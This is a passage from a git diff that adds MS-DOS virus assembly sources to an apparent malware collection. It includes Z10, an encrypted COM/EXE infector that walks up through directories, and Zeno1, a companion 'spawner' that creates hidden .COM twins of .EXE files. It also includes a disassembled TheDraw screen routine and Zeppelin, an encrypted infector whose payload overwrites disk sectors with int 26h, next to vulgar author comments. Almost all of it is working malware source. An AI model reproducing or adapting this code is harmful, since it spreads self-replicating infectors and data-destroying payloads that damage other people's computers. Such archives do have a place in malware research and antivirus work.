db 1ah dup (?) ; read buffer +endheap: ; End of virus +end entry_point diff --git a/MSDOS/Virus.MSDOS.Unknown.z10_b.asm b/MSDOS/Virus.MSDOS.Unknown.z10_b.asm new file mode 100644 index 00000000..ab1f6f72 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.z10_b.asm @@ -0,0 +1,353 @@ +; Z10.asm : [Z10] by Paul Ferguson +; Created wik the Phalcon/Skism Mass-Produced Code Generator +; from the configuration file skeleton.cfg + +.model tiny ; Handy directive +.code ; Virus code segment + org 100h ; COM file starting IP + +id = 'ZA' ; ID word for EXE infections +entry_point: db 0e9h,0,0 ; jmp decrypt + +decrypt: loop decrypt ; handles encryption and decryption +patch_startencrypt: + mov si,offset startencrypt ; start of decryption + mov di,(offset heap - offset startencrypt)/2 ; iterations +decrypt_loop: + db 2eh,81h,04h ; add word ptr cs:[si], xxxx +decrypt_value dw 0 ; initialised at zero for null effect + inc si ; calculate new decryption location + inc si + dec di ; If we are not done, then + jnz decrypt_loop ; decrypt mo' +startencrypt: + call next ; calculate delta offset +next: pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + cmp sp,id ; COM or EXE? + je restoreEXE +restoreCOM: + lea si,[bp+save3] + mov di,100h + push di ; For later return + movsb + jmp short restoreEXIT +restoreEXE: + push ds + push es + push cs ; DS = CS + pop ds + push cs ; ES = CS + pop es + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw + movsw + movsw +restoreEXIT: + movsw + + mov byte ptr [bp+numinfec],2 ; reset infection counter + + mov ah,1Ah ; Set new DTA + lea dx,[bp+newDTA] ; new DTA @ DS:DX + int 21h + + mov ah,47h ; Get current directory + mov dl,0 ; Current drive + lea si,[bp+origdir] ; DS:SI->buffer + int 21h + mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR + + mov ax,3524h ; Get int 24 handler + int 21h ; to ES:BX + mov word ptr [bp+oldint24],bx; Save it + mov word ptr [bp+oldint24+2],es + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; DS:DX->new handler + int 21h + push cs ; Restore ES + pop es ; 'cuz it was changed + +dir_scan: ; "dot dot" traversal + lea dx,[bp+exe_mask] + call infect_mask + lea dx,[bp+com_mask] + call infect_mask + mov ah,3bh ; change directory + lea dx,[bp+dot_dot] ; "cd .." + int 21h + jnc dir_scan ; go back for mo! + +done_infections: + mov ah,2ch ; Get current time + int 21h + cmp dl,90 ; Check the percentage + jbe activate + +exit_virus: + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; to original + int 21h + push cs + pop ds + + mov ah,3bh ; change directory + lea dx,[bp+origdir-1] ; original directory + int 21h + + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + cmp sp,id-4 ; EXE or COM? + jz returnEXE +returnCOM: + int 21h + retn ; 100h is on stack +returnEXE: + pop es + pop ds + int 21h + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[bp+jmpsave+2],ax + add ax,word ptr cs:[bp+stacksave+2] + cli ; Clear intrpts for stack manipulation + mov sp,word ptr cs:[bp+stacksave] + mov ss,ax + sti + db 0eah ; jmp ssss:oooo +jmpsave dd ? ; Original CS:IP +stacksave dd ? ; Original SS:SP +jmpsave2 db ? ; Actually four bytes +save3 db 0cdh,20h,0 ; First 3 bytes of COM file +stacksave2 dd ? + +activate: ; Conditions satisfied + + jmp exit_virus + +infect_mask: + mov ah,4eh ; find first file + mov cx,7 ; any attribute +findfirstnext: + int 21h ; DS:DX points to mask + jc exit_infect_mask ; No mo files found + + mov al,0h ; Open read only + call open + + mov ah,3fh ; Read file to buffer + lea dx,[bp+buffer] ; @ DS:DX + mov cx,1Ah ; 1Ah bytes + int 21h + + mov ah,3eh ; Close file + int 21h + + cmp word ptr [bp+buffer],'ZM'; EXE? + jz checkEXE ; Why yes, yes it is! +checkCOM: + mov ax,word ptr [bp+newDTA+35] ; Get tail of filename + cmp ax,'DN' ; Ends in ND? (commaND) + jz find_next + + mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA + cmp ax,13000 ; Is it too small? + jb find_next + + cmp ax,65535-(endheap-decrypt) ; Is it too large? + ja find_next + + mov bx,word ptr [bp+buffer+1]; get jmp location + add bx,heap-decrypt+3 ; Adjust for virus size + cmp ax,bx + je find_next ; already infected + jmp infect_com +checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected? + jnz infect_exe +find_next: + mov ah,4fh ; find next file + jmp short findfirstnext +exit_infect_mask: ret + +infect_exe: + les ax, dword ptr [bp+buffer+14h] ; Save old entry point + mov word ptr [bp+jmpsave2], ax + mov word ptr [bp+jmpsave2+2], es + + les ax, dword ptr [bp+buffer+0Eh] ; Save old stack + mov word ptr [bp+stacksave2], es + mov word ptr [bp+stacksave2+2], ax + + mov ax, word ptr [bp+buffer + 8] ; Get header size + mov cl, 4 ; convert to bytes + shl ax, cl + xchg ax, bx + + les ax, [bp+offset newDTA+26]; Get file size + mov dx, es ; to DX:AX + push ax + push dx + + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + + mov cx, 10h ; Convert to segment:offset + div cx ; form + + mov word ptr [bp+buffer+14h], dx ; New entry point + mov word ptr [bp+buffer+16h], ax + + mov word ptr [bp+buffer+0Eh], ax ; and stack + mov word ptr [bp+buffer+10h], id + + pop dx ; get file length + pop ax + + add ax, heap-decrypt ; add virus size + adc dx, 0 + + mov cl, 9 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 1 ; mod 512 + + mov word ptr [bp+buffer+4], dx ; new file size + mov word ptr [bp+buffer+2], ax + + push cs ; restore ES + pop es + + push word ptr [bp+buffer+14h] ; needed later + mov cx, 1ah + jmp short finishinfection +infect_com: ; ax = filesize + mov cx,3 + sub ax,cx + lea si,[bp+offset buffer] + lea di,[bp+offset save3] + movsw + movsb + mov byte ptr [si-3],0e9h + mov word ptr [si-2],ax + add ax,103h + push ax ; needed later +finishinfection: + push cx ; Save # bytes to write + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov al,2 + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + + mov ax,4202h ; Move file pointer + xor cx,cx ; to end of file + cwd ; xor dx,dx + int 21h + + mov ah,2ch ; Get current time + int 21h ; dh=sec,dl=1/100 sec + mov [bp+decrypt_value],dx ; Set new encryption value + lea di,[bp+code_store] + mov ax,5355h ; push bp,push bx + stosw + lea si,[bp+decrypt] ; Copy encryption function + mov cx,startencrypt-decrypt ; Bytes to move + push si ; Save for later use + push cx + rep movsb + + xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub + + lea si,[bp+write] ; Copy writing function + mov cx,endwrite-write ; Bytes to move + rep movsb + pop cx + pop si + pop dx ; Entry point of virus + push di + push si + push cx + rep movsb ; Copy decryption function + mov ax,5b5dh ; pop bx,pop bp + stosw + mov al,0c3h ; retn + stosb + + add dx,offset startencrypt - offset decrypt ; Calculate new + mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of + call code_store ; decryption + pop cx + pop di + pop si + rep movsb ; Restore decryption function + + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + + dec byte ptr [bp+numinfec] ; One mo infection + jnz mo_infections ; Not enough + pop ax ; remove call from stack + jmp done_infections +mo_infections: jmp find_next + +open: + mov ah,3dh + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + xchg ax,bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + ret + +write: + pop bx ; Restore file handle + pop bp ; Restore relativeness + mov ah,40h ; Write to file + lea dx,[bp+decrypt] ; Concatenate virus + mov cx,heap-decrypt ; # bytes to write + int 21h + push bx + push bp +endwrite: + +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return control + +exe_mask db '*.exe',0 +com_mask db '*.com',0 +dot_dot db '..',0 +heap: ; Variables not in code +code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?) +oldint24 dd ? ; Storage for old int 24h handler +backslash db ? +origdir db 64 dup (?) ; Current directory buffer +newDTA db 43 dup (?) ; Temporary DTA +numinfec db ? ; Infections this run +buffer db 1ah dup (?) ; read buffer +endheap: ; End of virus +end entry_point diff --git a/MSDOS/Virus.MSDOS.Unknown.zeno1.asm b/MSDOS/Virus.MSDOS.Unknown.zeno1.asm new file mode 100644 index 00000000..e6fafcc8 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.zeno1.asm @@ -0,0 +1,174 @@ +;NON-RESIDENT SPAWNER + +; I threw this thing together in less than an hour and haven't looked +; at it since so yes, I know it needs real work. Mangle and change as +; you please. The original goal was to create the smallest spawner but +; I got bored with the whole thing. Some of the code was taken from +; the source code to Directory Magic by pcmag. Have phun.... + + + + + +CSEG SEGMENT + ASSUME CS:CSEG,DS:NOTHING + + ORG 100H ;Beginning for .COM programs + +START: JMP MY_BEGIN ;Initialization code is at end + + +wild DB "*.EXE",0 +file_Ext DB "COM",0 +file_found DB 12 DUP(' '), 0 +file_create DB 12 DUP(' '), 0 +search_attrib DW 17H +num_infect dw 0 + +my_cmd: +Cmd_len db 13 +file_clone db 12 DUP (' '), 0 + + ASSUME CS:CSEG, DS:CSEG, ES:NOTHING + +;------------------------------------------------------------------; +Prepare_command: + cld + mov di,OFFSET file_clone + mov al,0 + mov cx,12 + repne scasb ; find the end of string \0 + + mov al,0Dh ; + stosb ; replace \0 with a + + mov ax,12 ;store length of the command + sub ax,cx + mov cmd_len, al + ret + +;------------------------------------------------------------------; +Store_name: + + MOV DI,OFFSET file_found ;Point to buffer. + MOV SI,158 + MOV CX,12 + REP MOVSB + + MOV DI,OFFSET file_create ;Point to buffer. + MOV SI,158 + MOV CX,12 + REP MOVSB + + cld + mov di,OFFSET file_create + mov al,'.' + mov cx,9 + repne scasb ;find the '.' + + mov si,OFFSET file_ext + mov cx,3 + rep movsb ;replace the .EXE with .COM + + ret + + +;------------------------------------------------------------------; +;Does the file exist? + +Check_file: + mov dx,OFFSET file_create + mov cx,0 + mov ax,3d00h ; Open file read only + int 21h + +Chk_done: + ret + +;------------------------------------------------------------------; +Infect_file: +;Create file + mov dx,OFFSET file_create + mov cx,0 + mov ah,3ch + int 21h + jc EXIT + +;Write to file + mov bx,ax + mov cx,(OFFSET END_OF_CODE - OFFSET START) + mov dx,OFFSET START + mov ah,40h + int 21h + +;Close file + mov ah,3eh ; ASSUMES bx still has file handle + int 21h + +;Change attributes + mov dx,OFFSET file_create + mov cx,3 ;(1) read only, (2) hidden, (4) system + mov ax,4301h + int 21h + + ret + +;------------------------------------------------------------------; +; Read all the directory filenames and store as records in buffer. ; +;------------------------------------------------------------------; + +MY_BEGIN: + mov sp,offset STACK_HERE ;move stack down + mov bx,sp + add bx,15 + mov cl,4 + shr bx,cl + mov ah,4ah ;deallocate rest of memory + int 21h + + MOV DI,OFFSET file_clone ;Point to buffer. + MOV SI,OFFSET file_found + MOV CX,12 + REP MOVSB + +READ_DIR: MOV DX,OFFSET wild + MOV CX,search_attrib + + MOV AH,4EH ; This finds the first matching file. + INT 21H + + JC EXIT ;If empty directory, exit. + +Do_file: + call Store_name + + call Check_file + jnc seek_another ; CF = 0, shadow already there... skip it + + call Infect_file + jmp Exit + +seek_another: + +find_next: + mov ah,4fh + int 21h + jmp Do_file + +EXIT: + +;Run the original program + call Prepare_command + mov si, OFFSET my_cmd + int 2Eh ;Pass command to command + ; interpreter for execution +;Exit to DOS + MOV AX,4C00H + INT 21H + +END_OF_CODE = $ + +STACK_HERE EQU END_OF_CODE + 512 + +CSEG ENDS + END START diff --git a/MSDOS/Virus.MSDOS.Unknown.zep.asm b/MSDOS/Virus.MSDOS.Unknown.zep.asm new file mode 100644 index 00000000..d5369bc9 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.zep.asm @@ -0,0 +1,241 @@ + +PAGE 59,132 + +;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ +;ÛÛ ÛÛ +;ÛÛ ZEP ÛÛ +;ÛÛ ÛÛ +;ÛÛ Created: 12-Nov-92 ÛÛ +;ÛÛ Passes: 5 Analysis Options on: none ÛÛ +;ÛÛ ÛÛ +;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ + +data_1e equ 0A0h +data_9e equ 418h ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +zep proc far + +start: + jmp short loc_1 + db 90h +data_2 db 0 +data_3 dw 216h + db 2 +data_4 dw 0 + db 'TheDraw COM file Screen Save' + db 1Ah +data_5 db 'Unsupported Video Mode', 0Dh, 0Ah + db '$' +loc_1: + mov ah,0Fh + int 10h ; Video display ah=functn 0Fh + ; get state, al=mode, bh=page + ; ah=columns on screen + mov bx,0B800h + cmp al,2 + je loc_2 ; Jump if equal + cmp al,3 + je loc_2 ; Jump if equal + mov data_2,0 + mov bx,0B000h + cmp al,7 + je loc_2 ; Jump if equal + mov dx,offset data_5 ; ('Unsupported Video Mode') + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + retn +loc_2: + mov es,bx + mov di,data_4 + mov si,offset data_6 + mov dx,3DAh + mov bl,9 + mov cx,data_3 + cld ; Clear direction + xor ax,ax ; Zero register + +locloop_4: + lodsb ; String [si] to al + cmp al,1Bh + jne loc_5 ; Jump if not equal + xor ah,80h + jmp short loc_20 +loc_5: + cmp al,10h + jae loc_8 ; Jump if above or = + and ah,0F0h + or ah,al + jmp short loc_20 +loc_8: + cmp al,18h + je loc_11 ; Jump if equal + jnc loc_12 ; Jump if carry=0 + sub al,10h + add al,al + add al,al + add al,al + add al,al + and ah,8Fh + or ah,al + jmp short loc_20 +loc_11: + mov di,data_4 + add di,data_1e + mov data_4,di + jmp short loc_20 +loc_12: + mov bp,cx + mov cx,1 + cmp al,19h + jne loc_13 ; Jump if not equal + lodsb ; String [si] to al + mov cl,al + mov al,20h ; ' ' + dec bp + jmp short loc_14 +loc_13: + cmp al,1Ah + jne loc_15 ; Jump if not equal + lodsb ; String [si] to al + dec bp + mov cl,al + lodsb ; String [si] to al + dec bp +loc_14: + inc cx +loc_15: + cmp data_2,0 + je loc_18 ; Jump if equal + mov bh,al + +locloop_16: + in al,dx ; port 3DAh, CGA/EGA vid status + rcr al,1 ; Rotate thru carry + jc locloop_16 ; Jump if carry Set +loc_17: + in al,dx ; port 3DAh, CGA/EGA vid status + and al,bl + jnz loc_17 ; Jump if not zero + mov al,bh + stosw ; Store ax to es:[di] + loop locloop_16 ; Loop if cx > 0 + + jmp short loc_19 +loc_18: + rep stosw ; Rep when cx >0 Store ax to es:[di] +loc_19: + mov cx,bp +loc_20: + jcxz loc_ret_21 ; Jump if cx=0 + loop locloop_4 ; Loop if cx > 0 + + +loc_ret_21: + retn +data_6 db 9 + db 10h, 19h, 45h, 18h, 19h, 1Bh + db 01h,0D5h,0CDh,0CDh,0B8h, 04h + db 0F3h, 09h,0A9h, 04h, 9Dh + db 9 + db 0AAh, 04h,0F2h, 01h,0D5h,0CDh + db 0CDh,0B8h, 19h, 1Ch, 18h, 19h + db 12h,0D5h, 1Ah, 0Ah,0CDh,0BEh + db 20h, 09h, 5Ch, 04h,0F6h, 09h + db 2Fh, 20h, 01h,0D4h, 1Ah, 0Ah + db 0CDh,0B8h, 19h, 13h, 18h, 19h + db 03h,0C9h, 1Ah, 0Dh,0CDh,0BEh + db 19h, 03h, 0Fh,0D2h,0B7h, 19h + db 04h,0D6h, 1Ah, 03h,0C4h,0B7h + db 20h,0D2h,0D2h,0C4h,0C4h,0C4h + db 0B7h, 19h, 04h, 01h,0D4h, 1Ah + db 0Eh,0CDh,0BBh, 19h, 03h, 18h + db 19h, 03h,0BAh, 19h, 12h, 07h + db 0BAh,0BAh, 19h, 04h,0BAh, 19h + db 03h,0BDh, 20h,0BAh,0BAh, 19h + db 02h,0D3h,0B7h, 19h, 13h, 01h + db 0BAh, 19h, 03h, 18h, 19h, 03h + db 0BAh, 19h, 07h, 0Bh, 1Ah, 02h + db 04h, 19h, 07h, 08h,0BAh,0B6h + db 19h, 04h,0C7h,0C4h,0B6h, 19h + db 03h,0BAh,0B6h, 19h, 03h,0BAh + db 19h, 07h, 0Bh, 1Ah, 02h, 04h + db 19h, 08h, 01h,0BAh, 19h, 03h + db 18h,0D6h,0C4h,0C4h, 20h,0BAh + db 19h, 12h, 08h,0BAh,0D3h, 19h + db 02h,0B7h, 20h,0BAh, 19h, 03h + db 0B7h, 20h,0BAh,0D3h, 19h, 02h + db 0D6h,0BDh, 19h, 13h, 01h,0BAh + db 20h,0C4h,0C4h,0B7h, 18h,0D3h + db 0C4h,0C4h,0C4h,0BDh, 19h, 12h + db 08h,0D3h, 1Ah, 03h,0C4h,0BDh + db 20h,0D3h, 1Ah, 03h,0C4h,0BDh + db 20h,0D0h, 1Ah, 03h,0C4h,0BDh + db 19h, 14h, 01h,0D3h,0C4h,0C4h + db 0C4h,0BDh, 18h, 04h, 1Ah, 04h + db 3Eh, 19h, 03h, 0Fh,0D6h, 1Ah + db 04h,0C4h,0B7h, 20h,0D6h, 1Ah + db 03h,0C4h,0B7h, 20h,0D2h,0D2h + db 0C4h,0C4h,0C4h,0B7h, 20h,0D2h + db 0D2h,0C4h,0C4h,0C4h,0B7h, 20h + db 0D6h, 1Ah, 03h,0C4h,0B7h, 20h + db 0D2h,0B7h, 19h, 04h,0D2h, 20h + db 20h,0D2h,0D2h,0C4h,0C4h,0C4h + db 0B7h, 19h, 03h, 04h, 1Ah, 04h + db 3Ch, 18h, 01h,0D6h,0C4h,0C4h + db 0C4h,0B7h, 19h, 07h, 07h,0D6h + db 0C4h,0BDh + dd 319BA20h ; Data table (indexed access) + db 0BDh, 20h,0BAh,0BDh, 19h, 02h + db 0BAh, 20h,0BAh,0BDh, 19h, 02h + db 0BAh, 20h,0BAh, 19h, 03h,0BDh + db 20h,0BAh,0BAh, 19h, 04h,0BAh + db 20h, 20h,0BAh,0BAh, 19h, 02h + db 0BAh, 19h, 03h, 01h,0D6h,0C4h + db 0C4h,0C4h,0B7h, 18h,0D3h,0C4h + db 0C4h, 20h,0BAh, 19h, 06h, 08h + db 58h, 19h, 03h,0C7h,0C4h,0B6h + db 19h, 03h,0BAh, 1Ah, 03h,0C4h + db 0BDh, 20h,0BAh, 1Ah, 03h,0C4h + db 0BDh, 20h,0C7h,0C4h,0B6h, 19h + db 03h,0BAh,0B6h, 19h, 04h,0BAh + db 20h, 20h,0BAh,0B6h, 19h, 02h + db 0BAh, 19h, 03h, 01h,0BAh, 20h + db 0C4h,0C4h,0BDh, 18h, 19h, 03h + db 0BAh, 19h, 03h, 08h,0D6h,0C4h + db 0BDh, 19h, 04h,0BAh, 19h, 03h + db 0B7h, 20h,0BAh, 19h, 05h,0BAh + db 19h, 05h,0BAh, 19h, 03h,0B7h + db 20h,0BAh,0D3h, 19h, 02h,0B7h + db 20h,0BAh, 20h, 20h,0BAh,0D3h + db 19h, 02h,0BAh, 19h, 03h, 01h + db 0BAh, 19h, 03h, 18h, 19h, 03h + db 0BAh, 19h, 03h, 08h,0D3h, 1Ah + db 04h,0C4h,0BDh, 20h,0D3h, 1Ah + db 03h,0C4h,0BDh, 20h,0BDh, 19h + db 05h,0BDh, 19h, 05h,0D3h, 1Ah + db 03h,0C4h,0BDh, 20h,0D3h, 1Ah + db 03h,0C4h,0BDh, 20h,0D0h, 20h + db 20h,0D0h, 19h, 03h,0D0h, 19h + db 03h, 01h,0BAh, 19h, 03h, 18h + db 19h, 03h,0C8h, 1Ah, 15h,0CDh + db 0B8h, 19h, 0Ch,0D5h, 1Ah, 16h + db 0CDh,0BCh, 19h, 03h, 18h, 19h + db 1Ah,0D4h,0CDh, 04h, 1Ah, 03h + db 0F7h, 09h, 2Fh, 04h,0EAh, 09h + db 5Ch, 04h, 1Ah, 03h,0F7h, 01h + db 0CDh,0BEh, 19h, 1Bh, 18h + +zep endp + +seg_a ends + + + + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.zeppelin.asm b/MSDOS/Virus.MSDOS.Unknown.zeppelin.asm new file mode 100644 index 00000000..b3754f1c --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.zeppelin.asm @@ -0,0 +1,674 @@ +;************************************************************************** +; +;The Zeppelin Virus September 25, 1992 +;[MPC] Generated... +;Created by... pAgE +;As a TRiBuTe to John "back-beat" Bohnam, this "WEAK-DICK" ViRUS was made! +;Incidently. He died on this date in 1980! Got drunk and strangled on a +;CunT hAiR...oR wAs iT a tAmPoN???...Oh well, So goes RocK -n- RoLL... +;By the wAy<---That's whAt you sAy just beforE you bOrE the FuCK out of +;soMeoNe with anOthEr TRiViAl piEce of SHiT!!! These LiTTLe Up AnD LeTTeRS +;ThAt yA'll uSe, ArE a KicK.... +; +;Okay, enough anti-social, suicidal, satan, sputum...On with the ViRUS... +; GeT'S in ThE bl00d DoEsn't it?------->^^^^^ +; +;Here it is... +;It's not much, but in the hands off a knowledgeable Vx WRiTeR....... +;I'll keep workin' on it and see what I can do. In the mean time, have fun! +;I ReM'd out a lot of the ShIt iN here, So Joe LuNChmEaT doesn;t FrY hImSelF. +; +;But...If that's not good enough, well then - hEy! - BLoW mE! +; +;*************************************************************************** + +.model tiny ; Handy directive +.code ; Virus code segment + org 100h ; COM file starting IP + +id = 'IS' ; ID word for EXE infections +entry_point: db 0e9h,0,0 ; jmp decrypt + +decrypt: ; handles encryption and decryption +patch_startencrypt: + mov di,offset startencrypt ; start of decryption + mov si,(offset heap - offset startencrypt)/2 ; iterations +decrypt_loop: + db 2eh,81h,35h ; xor word ptr cs:[di], xxxx +decrypt_value dw 0 ; initialised at zero for null effect + inc di ; calculate new decryption location + inc di + dec si ; If we are not done, then + jnz decrypt_loop ; decrypt mo' +startencrypt: + call next ; calculate delta offset +next: + pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + + cmp sp,id ; COM or EXE? + je restoreEXE +restoreCOM: + lea si,[bp+save3] + mov di,100h + push di ; For later return + movsb + jmp short restoreEXIT +restoreEXE: + push ds + push es + push cs ; DS = CS + pop ds + push cs ; ES = CS + pop es + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw + movsw + movsw +restoreEXIT: + movsw + + mov byte ptr [bp+numinfec],5 ; reset infection counter + + mov ah,1Ah ; Set new DTA + lea dx,[bp+newDTA] ; new DTA @ DS:DX + int 21h + + mov ah,47h ; Get current directory + mov dl,0 ; Current drive + lea si,[bp+origdir] ; DS:SI->buffer + int 21h + mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR + + mov ax,3524h ; Get int 24 handler + int 21h ; to ES:BX + mov word ptr [bp+oldint24],bx; Save it + mov word ptr [bp+oldint24+2],es + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; DS:DX->new handler + int 21h + push cs ; Restore ES + pop es ; 'cuz it was changed + +dir_scan: ; "dot dot" traversal + lea dx,[bp+exe_mask] + call infect_mask + lea dx,[bp+com_mask] + call infect_mask + mov ah,3bh ; change directory + lea dx,[bp+dot_dot] ; "cd .." + int 21h + jnc dir_scan ; go back for mo! + +done_infections: + ;mov ah,2ah ; Get current date + ;int 21h + ;cmp dh,9 ; Check month + ;jb act_two + ;cmp dl,25 ; Check date + ;jb act_two + ;cmp cx,1992 ; Check year + ;jb act_two + ;cmp al,0 ; Check date of week + ;jb activate + + ;mov ah,2ch ; Get current time + ;int 21h + ;cmp dl,50 ; Check the percentage + jbe activate + +exit_virus: + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; to original + int 21h + push cs + pop ds + + mov ah,3bh ; change directory + lea dx,[bp+origdir-1] ; original directory + int 21h + + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + cmp sp,id-4 ; EXE or COM? + jz returnEXE +returnCOM: + retn ; 100h is on stack +returnEXE: + pop es + pop ds + int 21h + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[bp+jmpsave+2],ax + add ax,word ptr cs:[bp+stacksave+2] + cli ; Clear intrpts for stack manipulation + mov sp,word ptr cs:[bp+stacksave] + mov ss,ax + sti + db 0eah ; jmp ssss:oooo +jmpsave dd ? ; Original CS:IP +stacksave dd ? ; Original SS:SP +jmpsave2 db ? ; Actually four bytes +save3 db 0cdh,20h,0 ; First 3 bytes of COM file +exe_mask db '*.exe',0 +com_mask db '*.com',0 +stacksave2 dd ? + +activate proc far + +start: + jmp short loc_1 + db 90h +data_2 db 0 +data_3 dw 216h + db 2 +data_4 dw 0 + db 'Ripped this Motherfucker off' + db 1Ah +data_5 db 'SHIT!!! Wont work....', 0Dh, 0Ah + db '$' +loc_1: + + mov ax,0003h ; stick 3 into ax. + int 10h ; Set up 80*25, text mode. Clear the screen, too. + mov ah,0Fh + int 10h ; Video display ah=functn 0Fh + ; get state, al=mode, bh=page + ; ah=columns on screen + mov bx,0B800h + cmp al,2 + je loc_2 ; Jump if equal + cmp al,3 + je loc_2 ; Jump if equal + mov data_2,0 + mov bx,0B000h + cmp al,7 + je loc_2 ; Jump if equal + mov dx,offset data_5 ; ('Unsupported Video Mode') + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + retn +loc_2: + mov es,bx + mov di,data_4 + mov si,offset data_6 + mov dx,3DAh + mov bl,9 + mov cx,data_3 + cld ; Clear direction + xor ax,ax ; Zero register + +locloop_4: + lodsb ; String [si] to al + cmp al,1Bh + jne loc_5 ; Jump if not equal + xor ah,80h + jmp short loc_20 +loc_5: + cmp al,10h + jae loc_8 ; Jump if above or = + and ah,0F0h + or ah,al + jmp short loc_20 +loc_8: + cmp al,18h + je loc_11 ; Jump if equal + jnc loc_12 ; Jump if carry=0 + sub al,10h + add al,al + add al,al + add al,al + add al,al + and ah,8Fh + or ah,al + jmp short loc_20 +loc_11: + mov di,data_4 + add di,data_1e + mov data_4,di + jmp short loc_20 +loc_12: + mov bp,cx + mov cx,1 + cmp al,19h + jne loc_13 ; Jump if not equal + lodsb ; String [si] to al + mov cl,al + mov al,20h ; ' ' + dec bp + jmp short loc_14 +loc_13: + cmp al,1Ah + jne loc_15 ; Jump if not equal + lodsb ; String [si] to al + dec bp + mov cl,al + lodsb ; String [si] to al + dec bp +loc_14: + inc cx +loc_15: + cmp data_2,0 + je loc_18 ; Jump if equal + mov bh,al + +locloop_16: + in al,dx ; port 3DAh, CGA/EGA vid status + rcr al,1 ; Rotate thru carry + jc locloop_16 ; Jump if carry Set +loc_17: + in al,dx ; port 3DAh, CGA/EGA vid status + and al,bl + jnz loc_17 ; Jump if not zero + mov al,bh + stosw ; Store ax to es:[di] + loop locloop_16 ; Loop if cx > 0 + + jmp short loc_19 +loc_18: + rep stosw ; Rep when cx >0 Store ax to es:[di] +loc_19: + mov cx,bp +loc_20: + jcxz loc_new_25 ; Jump if cx=0 + loop locloop_4 ; Loop if cx > 0 +loc_new_25: + + + mov si,offset data00 ; SI points to data +get_note: mov bx,[si] ; Load BX with the frequency + or bx,bx ; Is BX equal to zero? + je play_tune_done ; If it is we are finished + + mov ax,034DDh ; + mov dx,0012h ; + cmp dx,bx ; + jnb new_note ; + div bx ; This bit here was stolen + mov bx,ax ; from the Turbo C++ v1.0 + in al,061h ; library file CS.LIB. I + test al,3 ; extracted sound() from the + jne skip_an_or ; library and linked it to + or al,3 ; an .EXE file, then diassembled + out 061h,al ; it. Basically this turns + mov al,0B6h ; on the speaker at a certain + out 043h,al ; frequency. +skip_an_or: mov al,bl ; + out 042h,al ; + mov al,bh ; + out 042h,al ; + + mov bx,[si + 2] ; BX holds duration value + xor ah,ah ; BIOS get time function + int 1Ah + add bx,dx ; Add the time to the length +wait_loop: int 1Ah ; Get the time again (AH = 0) + cmp dx,bx ; Is the delay over? + jne wait_loop ; Repeat until it is + in al,061h ; Stolen from the nosound() + and al,0FCh ; procedure in Turbo C++ v1.0. + out 061h,al ; This turns off the speaker. + +new_note: add si,4 ; SI points to next note + jmp short get_note ; Repeat with the next note +play_tune_done: +activate endp + + mov ax,0002h ; OH! Look at this! Mr. Memorial + mov cx,0001h ; has just transformed into an + cli ; ASSHoLe!!! + cwd ; NuKe that HD "puppy-mullet" +trash_loop: int 026h ; Int 26h...Absolute FACE-RAPE + dec ax ; We really did let him off easy! + cmp ax,-1 ; Could have seriously trashed + jne trash_loop ; his happy ass................ + sti ; --->>pAgE<<---- + + jmp exit_virus + +creator db '[pAgE]',0 ; YOU REALLY SHOULD TAKE THIS +virusname db '[SwanSong]',0 ; BULLSHIT OUT OF HERE!!! +author db 'pAgE',0 ; WHY NOT HOLD UP A SIGN!!! + +infect_mask: + mov ah,4eh ; find first file + mov cx,7 ; any attribute +findfirstnext: + int 21h ; DS:DX points to mask + jc exit_infect_mask ; No mo files found + + mov al,0h ; Open read only + call open + + mov ah,3fh ; Read file to buffer + lea dx,[bp+buffer] ; @ DS:DX + mov cx,20h ; 1Ah bytes + int 21h + + mov ah,3eh ; Close 